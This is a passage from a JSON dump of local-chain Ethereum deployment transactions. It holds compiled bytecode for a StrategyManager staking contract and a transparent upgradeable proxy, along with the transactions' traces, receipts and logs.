366004612d22565b611019565b61021e610510366004612df2565b61114d565b6102a77f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b61025a61054a366004612bcf565b611376565b61021e61055d3660046129e8565b61143d565b61025a6114b3565b61021e610578366004612a05565b6114f0565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f49190612e63565b6001600160a01b0316336001600160a01b03161461062d5760405162461bcd60e51b815260040161062490612e80565b60405180910390fd5b6106368161164c565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610681573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a59190612eca565b6106c15760405162461bcd60e51b815260040161062490612ee7565b6098548181161461073a5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60985460009081906001908116036107ce5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b6002606554036108205760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b60026065556001600160a01b038816600090815260d3602052604090205460ff16156108c75760405162461bcd60e51b815260206004820152604a60248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207468697264207472616e736665726064820152691cc8191a5cd8589b195960b21b608482015260a401610624565b428410156109495760405162461bcd60e51b815260206004820152604360248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207369676e617475726520657870696064820152621c995960ea1b608482015260a401610624565b6001600160a01b03858116600081815260ca602090815260408083205481517f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922493810193909352908201939093528b84166060820152928a16608084015260a0830189905260c0830182905260e0830187905290916101000160408051601f1981840301815291815281516020928301206001600160a01b038a16600090815260ca9093529082206001850190559150610a016114b3565b60405161190160f01b6020820152602281019190915260428101839052606201604051602081830303815290604052805190602001209050610a44888288611743565b610a50888c8c8c611902565b60016065559b9a5050505050505050505050565b60cb546001600160a01b03163314610a8e5760405162461bcd60e51b815260040161062490612f2f565b610a988282611ad1565b5050565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610ae4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b089190612eca565b610b245760405162461bcd60e51b815260040161062490612ee7565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610b6b611b3f565b610b756000611b99565b565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610bbf5760405162461bcd60e51b815260040161062490612f99565b610bca838383611beb565b50505050565b6001600160a01b038116600090815260ce60205260408120546060918291908167ffffffffffffffff811115610c0857610c08612a1e565b604051908082528060200260200182016040528015610c31578160200160208202803683370190505b50905060005b82811015610cc2576001600160a01b038616600090815260cd6020908152604080832060ce9092528220805491929184908110610c7657610c76612ff7565b60009182526020808320909101546001600160a01b031683528201929092526040019020548251839083908110610caf57610caf612ff7565b6020908102919091010152600101610c37565b5060ce6000866001600160a01b03166001600160a01b031681526020019081526020016000208181805480602002602001604051908101604052809291908181526020018280548015610d3e57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610d20575b50505050509150935093505050915091565b60cb546001600160a01b03163314610d7a5760405162461bcd60e51b815260040161062490612f2f565b8060005b81811015610bca5760d16000858584818110610d9c57610d9c612ff7565b9050602002016020810190610db191906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1615610ebc57600060d16000868685818110610deb57610deb612ff7565b9050602002016020810190610e0091906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f4074413b4b443e4e58019f2855a8765113358c7c72e39509c6af45fc0f5ba030848483818110610e5b57610e5b612ff7565b9050602002016020810190610e7091906129e8565b6040516001600160a01b03909116815260200160405180910390a1610ebc848483818110610ea057610ea0612ff7565b9050602002016020810190610eb591906129e8565b6000611ad1565b600101610d7e565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610f0c5760405162461bcd60e51b815260040161062490612f99565b610bca84848484611d4c565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610f605760405162461bcd60e51b815260040161062490612f99565b604051636ce5768960e11b81526001600160a01b03858116600483015282811660248301526044820184905284169063d9caed1290606401600060405180830381600087803b158015610fb257600080fd5b505af1158015610fc6573d6000803e3d6000fd5b5050505050505050565b610fd8611b3f565b61063681611fe0565b60ce6020528160005260406000208181548110610ffd57600080fd5b6000918252602090912001546001600160a01b03169150829050565b600054610100900460ff16158080156110395750600054600160ff909116105b806110535750303b158015611053575060005460ff166001145b6110b65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610624565b6000805460ff1916600117905580156110d9576000805461ff0019166101001790555b6110e1612049565b60c9556110ee83836120e0565b6110f785611b99565b61110084611fe0565b8015611146576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60cb546001600160a01b031633146111775760405162461bcd60e51b815260040161062490612f2f565b8281146112005760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794d616e616765722e61646453747261746567696573546f4460448201527f65706f73697457686974656c6973743a206172726179206c656e67746873206460648201526a0de40dcdee840dac2e8c6d60ab1b608482015260a401610624565b8260005b8181101561136e5760d1600087878481811061122257611222612ff7565b905060200201602081019061123791906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1661136657600160d1600088888581811061127057611270612ff7565b905060200201602081019061128591906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f0c35b17d91c96eb2751cd456e1252f42a386e524ef9ff26ecc9950859fdc04fe8686838181106112e0576112e0612ff7565b90506020020160208101906112f591906129e8565b6040516001600160a01b03909116815260200160405180910390a161136686868381811061132557611325612ff7565b905060200201602081019061133a91906129e8565b85858481811061134c5761134c612ff7565b9050602002016020810190611361919061300d565b611ad1565b600101611204565b505050505050565b60985460009081906001908116036113cc5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b60026065540361141e5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b600260655561142f33868686611902565b600160655595945050505050565b611445611b3f565b6001600160a01b0381166114aa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b61063681611b99565b60007f0000000000000000000000000000000000000000000000000000000000007a6946036114e3575060c95490565b6114eb612049565b905090565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611543573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115679190612e63565b6001600160a01b0316336001600160a01b0316146115975760405162461bcd60e51b815260040161062490612e80565b6098541981196098541916146116155760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161076d565b6001600160a01b0381166116da5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610624565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383163b1561186257604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e90611783908690869060040161307a565b602060405180830381865afa1580156117a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c49190613093565b6001600160e01b0319161461185d5760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610624565b505050565b826001600160a01b031661187683836121c6565b6001600160a01b03161461185d5760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610624565b6001600160a01b038316600090815260d16020526040812054849060ff166119a85760405162461bcd60e51b815260206004820152604d60248201527f53747261746567794d616e616765722e6f6e6c7953747261746567696573576860448201527f6974656c6973746564466f724465706f7369743a207374726174656779206e6f60648201526c1d081dda1a5d195b1a5cdd1959609a1b608482015260a401610624565b6119bd6001600160a01b0385163387866121ec565b6040516311f9fbc960e21b81526001600160a01b038581166004830152602482018590528616906347e7ef24906044016020604051808303816000875af1158015611a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a3091906130bd565b9150611a3e86858785611d4c565b604051631452b9d760e11b81526001600160a01b0387811660048301528681166024830152604482018490527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916906328a573ae90606401600060405180830381600087803b158015611ab057600080fd5b505af1158015611ac4573d6000803e3d6000fd5b5050505050949350505050565b604080516001600160a01b038416815282151560208201527f77d930df4937793473a95024d87a98fd2ccb9e92d3c2463b3dacd65d3e6a5786910160405180910390a16001600160a01b0391909116600090815260d360205260409020805460ff1916911515919091179055565b6033546001600160a01b03163314610b755760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610624565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600081600003611c635760405162461bcd60e51b815260206004820152603e60248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a207360448201527f68617265416d6f756e742073686f756c64206e6f74206265207a65726f2100006064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209387168352929052205480831115611cf55760405162461bcd60e51b815260206004820152603360248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a20736044820152720d0c2e4ca82dadeeadce840e8dede40d0d2ced606b1b6064820152608401610624565b6001600160a01b03808616600090815260cd6020908152604080832093881683529290529081209184900391829055819003611d3f57611d358585612246565b6001915050611d45565b60009150505b9392505050565b6001600160a01b038416611dc85760405162461bcd60e51b815260206004820152603960248201527f53747261746567794d616e616765722e5f6164645368617265733a207374616b60448201527f65722063616e6e6f74206265207a65726f2061646472657373000000000000006064820152608401610624565b80600003611e375760405162461bcd60e51b815260206004820152603660248201527f53747261746567794d616e616765722e5f6164645368617265733a207368617260448201527565732073686f756c64206e6f74206265207a65726f2160501b6064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209386168352929052908120549003611f4c576001600160a01b038416600090815260ce602090815260409091205410611f0d5760405162461bcd60e51b815260206004820152605060248201527f53747261746567794d616e616765722e5f6164645368617265733a206465706f60448201527f73697420776f756c6420657863656564204d41585f5354414b45525f5354524160648201526f0a88a8eb2be9892a6a8be988a9c8ea8960831b608482015260a401610624565b6001600160a01b03848116600090815260ce602090815260408220805460018101825590835291200180546001600160a01b0319169184169190911790555b6001600160a01b03808516600090815260cd6020908152604080832093861683529290529081208054839290611f839084906130ec565b9091555050604080516001600160a01b03868116825285811660208301528416818301526060810183905290517f7cfff908a4b583f36430b25d75964c458d8ede8a99bd61be750e97ee1b2f3a969181900360800190a150505050565b60cb54604080516001600160a01b03928316815291831660208301527f4264275e593955ff9d6146a51a4525f6ddace2e81db9391abcc9d1ca48047d29910160405180910390a160cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6097546001600160a01b031615801561210157506001600160a01b03821615155b6121835760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610a988261164c565b60008060006121d58585612436565b915091506121e2816124a4565b5090505b92915050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610bca90859061265a565b6001600160a01b038216600090815260ce6020526040812054905b81811015612360576001600160a01b03848116600090815260ce602052604090208054918516918390811061229857612298612ff7565b6000918252602090912001546001600160a01b031603612358576001600160a01b038416600090815260ce6020526040902080546122d8906001906130ff565b815481106122e8576122e8612ff7565b60009182526020808320909101546001600160a01b03878116845260ce909252604090922080549190921691908390811061232557612325612ff7565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550612360565b600101612261565b8181036123e75760405162461bcd60e51b815260206004820152604960248201527f53747261746567794d616e616765722e5f72656d6f766553747261746567794660448201527f726f6d5374616b657253747261746567794c6973743a207374726174656779206064820152681b9bdd08199bdd5b9960ba1b608482015260a401610624565b6001600160a01b038416600090815260ce6020526040902080548061240e5761240e613112565b600082815260209020810160001990810180546001600160a01b031916905501905550505050565b600080825160410361246c5760208301516040840151606085015160001a6124608782858561272c565b9450945050505061249d565b8251604003612495576020830151604084015161248a868383612819565b93509350505061249d565b506000905060025b9250929050565b60008160048111156124b8576124b8613128565b036124c05750565b60018160048111156124d4576124d4613128565b036125215760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610624565b600281600481111561253557612535613128565b036125825760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610624565b600381600481111561259657612596613128565b036125ee5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610624565b600481600481111561260257612602613128565b036106365760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610624565b60006126af826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166128529092919063ffffffff16565b80519091501561185d57808060200190518101906126cd9190612eca565b61185d5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610624565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156127635750600090506003612810565b8460ff16601b1415801561277b57508460ff16601c14155b1561278c5750600090506004612810565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa1580156127e0573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661280957600060019250925050612810565b9150600090505b94509492505050565b6000806001600160ff1b0383168161283660ff86901c601b6130ec565b90506128448782888561272c565b935093505050935093915050565b60606128618484600085612869565b949350505050565b6060824710156128ca5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610624565b6001600160a01b0385163b6129215760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610624565b600080866001600160a01b0316858760405161293d919061313e565b60006040518083038185875af1925050503d806000811461297a576040519150601f19603f3d011682016040523d82523d6000602084013e61297f565b606091505b509150915061298f82828661299a565b979650505050505050565b606083156129a9575081611d45565b8251156129b95782518084602001fd5b8160405162461bcd60e51b8152600401610624919061315a565b6001600160a01b038116811461063657600080fd5b6000602082840312156129fa57600080fd5b8135611d45816129d3565b600060208284031215612a1757600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b60008060008060008060c08789031215612a4d57600080fd5b8635612a58816129d3565b95506020870135612a68816129d3565b9450604087013593506060870135612a7f816129d3565b92506080870135915060a087013567ffffffffffffffff811115612aa257600080fd5b8701601f81018913612ab357600080fd5b803567ffffffffffffffff811115612acd57612acd612a1e565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715612afc57612afc612a1e565b6040528181528282016020018b1015612b1457600080fd5b816020840160208301376000602083830101528093505050509295509295509295565b801515811461063657600080fd5b60008060408385031215612b5857600080fd5b8235612b63816129d3565b91506020830135612b7381612b37565b809150509250929050565b600060208284031215612b9057600080fd5b813560ff81168114611d4557600080fd5b60008060408385031215612bb457600080fd5b8235612bbf816129d3565b91506020830135612b73816129d3565b600080600060608486031215612be457600080fd5b8335612bef816129d3565b92506020840135612bff816129d3565b929592945050506040919091013590565b6040808252835190820181905260009060208501906060840190835b81811015612c535783516001600160a01b0316835260209384019390920191600101612c2c565b50508381036020808601919091528551808352918101925085019060005b81811015612c8f578251845260209384019390920191600101612c71565b50919695505050505050565b60008083601f840112612cad57600080fd5b50813567ffffffffffffffff811115612cc557600080fd5b6020830191508360208260051b850101111561249d57600080fd5b60008060208385031215612cf357600080fd5b823567ffffffffffffffff811115612d0a57600080fd5b612d1685828601612c9b565b90969095509350505050565b60008060008060808587031215612d3857600080fd5b8435612d43816129d3565b93506020850135612d53816129d3565b92506040850135612d63816129d3565b9396929550929360600135925050565b60008060008060808587031215612d8957600080fd5b8435612d94816129d3565b93506020850135612da4816129d3565b9250604085013591506060850135612dbb816129d3565b939692955090935050565b60008060408385031215612dd957600080fd5b8235612de4816129d3565b946020939093013593505050565b60008060008060408587031215612e0857600080fd5b843567ffffffffffffffff811115612e1f57600080fd5b612e2b87828801612c9b565b909550935050602085013567ffffffffffffffff811115612e4b57600080fd5b612e5787828801612c9b565b95989497509550505050565b600060208284031215612e7557600080fd5b8151611d45816129d3565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215612edc57600080fd5b8151611d4581612b37565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526044908201527f53747261746567794d616e616765722e6f6e6c7953747261746567795768697460408201527f656c69737465723a206e6f742074686520737472617465677957686974656c6960608201526339ba32b960e11b608082015260a00190565b602080825260409082018190527f53747261746567794d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561301f57600080fd5b8135611d4581612b37565b60005b8381101561304557818101518382015260200161302d565b50506000910152565b6000815180845261306681602086016020860161302a565b601f01601f19169290920160200192915050565b828152604060208201526000612861604083018461304e565b6000602082840312156130a557600080fd5b81516001600160e01b031981168114611d4557600080fd5b6000602082840312156130cf57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156121e6576121e66130d6565b818103818111156121e6576121e66130d6565b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b6000825161315081846020870161302a565b9190910192915050565b602081526000611d45602083018461304e56fea2646970667358221220c44798d4ada1e90848e8d31a2c80c503dc1cf81f9a5671db1af6a45d97d3e5c364736f6c634300081b0033","nonce":13,"gas_used":2827617},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x78443a","logs":[{"address":"0x0dcd1bf9a1b36ce34237eeafef220932846bcd82","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000"},"block_hash":"0x7eb9955e73be07f63fef905d294c917294787636411afeab3995d8e4fa1081f5","block_number":10},{"info":{"transaction_hash":"0xd7564065b111aaeb506f2b929d325592e1ef78a940ddfe00870c64ed2ce7d117","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x5fc8d32690cc91d4c39d9d3abcbd16989f875707","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x5fc8d32690cc91d4c39d9d3abcbd16989f875707","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","output":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc